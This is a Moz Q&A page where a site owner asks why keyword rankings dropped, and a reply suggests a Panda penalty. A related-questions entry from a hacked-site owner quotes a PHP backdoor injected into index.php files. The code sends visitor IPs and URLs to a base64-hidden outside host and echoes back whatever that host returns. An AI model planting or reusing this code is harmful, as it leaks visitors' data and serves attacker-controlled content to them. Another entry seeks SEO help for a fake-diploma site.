Why is the rankings for certain targeted keywords dropping sharply in the past few weeks?
-
Excuse me here I can't reveal the website url here due to the confidentiality.
Background:
This website has about 100+pages, and is a wordpress site. Out of 15 targeted keywords, there are few ranked first on Google.co.uk. others are ranked between 3rd and 50+. In the past couple of weeks, we have been submitting to various websites/directories. and 4 main keywords' rankings are improving steadily from 50+ to 20+. We don't buy links, or pay for link exhcanges. We only exchange links on rare occasions.
Symptoms:
1. 2 out of 4 main keywords dropped its rankings from 20+ to 80+ 4 weeks ago over night.
2. We kept on acquiring links from directories and websites, and 2 weeks after the drop, the rankings of 2 affected keywords had gradually made its way back to 20-30. Just we thought the glitch was over, these 2 keywords has dropped rankings to 50+ once again.
3. The change of rankings looks too suspicious to us, so we went to use the Moz tool, and discovered the domain authority has also dropped 25% of its value in a month time.
We never experienced such violent changes in terms of rankings in such a short period of time. My question is: what factors there are to have caused such violent shifts? Why the value of the domain authority is dropped by 25%-30%? What elements affect the domain authority the most?
-
Sounds like you're getting hit by panda. How robust is the content on the pages across your site?
Directories are no longer a recommended method of link building. Without the URL it's hard to make a determination as to why you got hit.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Is there proof that disavowing backlinks in GSC help to boost rankings in Google?
Hi Guys Let's say you have a website and you got some questionable back links or lower quality ones. Does anyone have proof that after disavowing back links helped in the rankings or had some positive effects? I am concerned that Google will place our website on their radar and instead possibly demote it or smth. Lastly, if disavowing is the way to go what criteria do you use to disavow backlinks? So if you get questionable back links over time, should you disavow ongoing as well? If so how often? Cheers John
White Hat / Black Hat SEO | | whiteboardwiz0 -
How do I make a content calendar to increase my rank for a key word?
I've watched more than a few seminars on having a content calendar. Now I'm curious as to what I would need to do to increase ranking for a specific keyword in local SEO. Let's say I wanted to help them increase their rank for used trucks in buffalo, NY. Would I regularly publish blog posts about used trucks? Thanks!
White Hat / Black Hat SEO | | oomdomarketing0 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
RD and PA high but still not ranking
We picked up a client who before ourselves was just using link building as their SEO strategy. They came to us for on page SEO and overall guidance. We have done some targeted link building and did some work with their link building company to remove some links, however after doing some further diggings Im wondering if we still have some bad links? My reasoning for this is:- all the SEO work we have done on the pages are getting A reports in Moz (which is our back up check) the RD and PA for many of the pages we have focused on are higher RDs and PA's than the pages that rank on the first page Any suggestions?
White Hat / Black Hat SEO | | SocialB1 -
Please Help- Confusion about how to Avoid Keyword Self-Cannibalization and Keyword Stuffing
I am pretty much a rookie when it comes to the SEO game and to be completely honest SEO is really confusing. I just recently started using MOZ and I was looking at my On-Page report and I saw that I needed to correct some “Avoid Keyword Self-Cannibalization” errors. So I looked at the error and the fix. Here is what MOZ gave me. Cannibalizing link "How to make a fake diploma", "How to get a fake diploma", "Making a Fake High School Diploma", "Fake Diploma Template", and "Framing your fake diploma" Explanation It's a best practice in SEO to target each keyword with a single page on your site (sometimes two if you've already achieved high rankings and are seeking a second, indented listing). To prevent engines from potentially seeing a signal that this page is not the intended ranking target and creating additional competition for your page, we suggest staying away from linking internally to another page with the target keyword(s) as the exact anchor text. Note that using modified versions is sometimes fine (for example, if this page targeted the word 'elephants', using 'baby elephants' in anchor text would be just fine). Recommendation Unless there is intent to rank multiple pages for the target keyword, it may be wise to modify the anchor text of this link so it is not an exact match. This error is for my Hompage(http://www.fake-diploma.com) for the keyword Fake Diploma. My understanding is that for Self-Cannibalization to occur I would have to have a link on this page pointing to another page using "Fake Diploma" as my anchor text since I want this page to rank for Fake Diploma. I do have the right hand sidebar which contains my most recent posts and some of my titles do include Fake Diploma. How to make a Fake Diploma
White Hat / Black Hat SEO | | diplomajim
Fake Diploma Template
Framing your Fake Diploma
To me theses are separate longtail keywords. While they do include Fake Diploma in them I thought theses were fine because they are not an Exact Match to each other nor are they an Exact Match to “Fake Diploma”. Am I wrong about this? Secondly I reached out on another Forum trying to get a better understanding of this and just got even more confused. I was told that I am also Keyword Stuffing and could be penalized. They said because I have Fake Diploma in most of my article titles that I am Stuffing Fake Diploma. I am in a Niche Market and of course most of my titles include Fake Diploma because that is what my entire site is about. I used the Google Keyword Tool and searched Fake Diploma and it gave me a list of about 79 related keywords like: Make a Fake Diploma Online
Create a Fake Diploma
Fake Diploma Software This is just a few of the many that I have. I thought the best way to rank for a keyword was to actually write a post about that Keyword and use it as the title of the article. I am not over using the Keyword in the actual article and I maybe have a Keyword density of about 2-5%. I thought Keyword Stuffing was where you actually used the Keyword like 50 times and also just added random Keywords to the article that did not belong. Please help me with any insights you can offer. I feel like I am doing all of this completely wrong.0 -
Penalised for specific keywords
Hi guys and girls, I've recently taken over management of a client that appears to be suffering a punishment on Google for specific keywords. Firstly has anyone encountered an issue such as this before, specific keyword de-ranking, and if so did re inclusion requests yield any joy? Thank you in advance for any assistance.
White Hat / Black Hat SEO | | James_T0 -
Homepage bombed from rankings 2
I've had some varying advice on here regarding the best way to proceed with [i'll PM the URL] which was hit by Penguin 2.0. There were previous issues with the homepage and before the 22nd had started creating new decent links. Some have suggested to ditch the domain and start again. There are several reasons not to and branding is the deciding factor at this stage. I'm going down the route of initially trying to manually remove links and then follow on with disavow. I would really appreciate another pair of eyes taking a quick look to see if i'm missing anything other than a dodgy link profile.
White Hat / Black Hat SEO | | MickEdwards0 -
Why does my competitor rank so well with so many paid/traded links?
Greetings everyone! I've really been enjoying my Moz membership these past few weeks after studying my data and comparing it with my competitors I think it's high time I started asking some questions. The website I manage has a very good ranking history but over the past year we've seen a slight decline in our SERP positions. I don't think this has anything to do with on-page optimization but rather with our link profile. We have only about 10k links total while they have 175k - our mozranks are nearly identical, but his moztrust is 4.46 and our's is 3.51. I am guessing, on our end, I need to remove some of these low-quality nofollow links (though I'll be honest I have no idea how we obtained them to begin with) but what I don't understand is how our competitor is ranking so well because when I browse their link profile, it is filled with paid link and traded link directories that don't appear to be penalized for what they are. I was under the impression that this was bad SEO, but now I am thinking I should just play his own game and submit to these sites too. Looking for any advice or ideas on a better way to compete... ❤ Jennifer
White Hat / Black Hat SEO | | Virage0
